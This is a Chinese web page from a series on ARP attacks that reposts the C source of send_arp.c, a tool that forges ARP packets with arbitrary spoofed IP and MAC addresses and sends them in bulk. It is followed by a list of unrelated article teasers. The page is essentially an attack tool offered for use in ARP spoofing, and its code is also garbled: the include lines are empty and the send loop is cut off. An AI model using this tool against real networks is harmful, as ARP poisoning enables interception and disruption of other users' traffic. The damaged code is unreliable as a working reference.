玩转ARP攻击(2)
来源:asp之家 发布时间:2009-12-24 09:53:00
以下是send_arp.c的源程序
CODE:
/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. [email]volobuev@t1.chem.umn.edu[/email]
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}
猜你喜欢
- 10月20日消息,在今日举行的“2009中国数码产品网上零售峰会”上,支付宝总裁邵晓锋透露,日前支付宝已经拿到国家外汇管理局的批文,中国境内
- 在巡讲过程中,发布商都对我们新推出的产品 – 搜索联盟 非常感兴趣,也询问了很多搜索联盟相关的问题。我们收集了几个主要的问题,并做以下的解答
- 作为一种资源的组织和表达机制,Web已成为Internet最主要的信息传送媒介。因此Web的性能已经成为判断一个网站成功与否的一个重要评估标
- 核心--常规设置---全局参数弹出式菜单显示:头部导航(头部导航弹出下拉菜单显示分类,如:统计排行);版块导航(帖子列表页面、发帖页面弹出下
- 2009年9月8日,专业的博客软件提供商北京傲博致远软件隆重推出Oblog.NET2.0版。至此,饱含数万OBLOG站长热切期盼和支持的.N
- 首先登录Godaddy管理后台,进入my hostingaccount虚拟主机管理页面,从“Databases”栏目那进入Access数据库
- 搜索引擎算法解密,以下是一些经验.提供大家分享. 希望对一些想学SEO或者正在学SEO的朋友有所帮助. 当然搜索引擎是不断的在变化.所以规律
- 项目发展到一定程度,因为功能的增多,就会变得越来越臃肿,原来的架构,就会不能满足现有的需求,因为我们有很多最初规划的时候没有想到的事情,比如
- 亲们好,不知道大家有没有发现今年冬天好像特别冷呢,北方大雪南方大雨,各地都在降温,建议亲们还是宅在家里比较惬意!所以今天YUMMY就来教亲们
- 专门盯住知名企业、名人等域名进行抢注的人,被称为“域名虫”,这个称呼演化为“米虫
- 360总裁齐向东:咱员工福利待遇业内肯定领先 (腾讯科技摄)11月5日消息,360安全卫士总裁齐向东近日表示,360已经组建了国内最强大的安
- 二、MDaemon设置MDaemon的管理界面很专业,它所提供的选择和设置项目非常多,但是实际上真正需要设置的选项并不是很多。(1)双击任务
- (文案写作的分享…注定是枯燥+无聊的…幸好大家还是听我讲完了…灰常感谢各位捧场…下面在此汇报汇报…)关于文案的一些定义我找了很多关于文案的各
- 现在做行业网站推广的朋友们都不会忘了软文推广,发在各站长站。的确,这是会带来不少的流量,只是我很难想到这些流量最终沉淀下来,甚至进一步成为注
- 11月13日,据国外媒体报道,Google曾于今年7月宣布了Chrome操作系统项目,而现在有可靠消息称,Google将于一周内发布该操作系
- 今天一个朋友用的dedecms织梦内容管理系统架设的网站出问题了,由于前期的安全工作没做到位,网站是可以随意注册会员及其发表文章的,所以该网
- apache|服务器|高级作为系统管理员,若你只有一个IP地址,却有好几个域名,又要求访问每个域名都要看到不同的内容,那怎么办?总不至于为每
- 在Exchange Server 2007中设置邮件的免责声明变得非常简单,只需在“集中传输服务器”上面新建一条传输规则就可以搞定,目前好象
- 最新消息,日前国内人气最高的非赢性互联网技术交流社区之一深度(http://bbs.deepin.org)成功升级。经过调整后的深度社区12
- 1、如果你必须使用Java script的下拉菜单、图片地图、或者图片链接,那么你一定要放置它们的文本链接在页面的某些地方,以便于搜索引擎的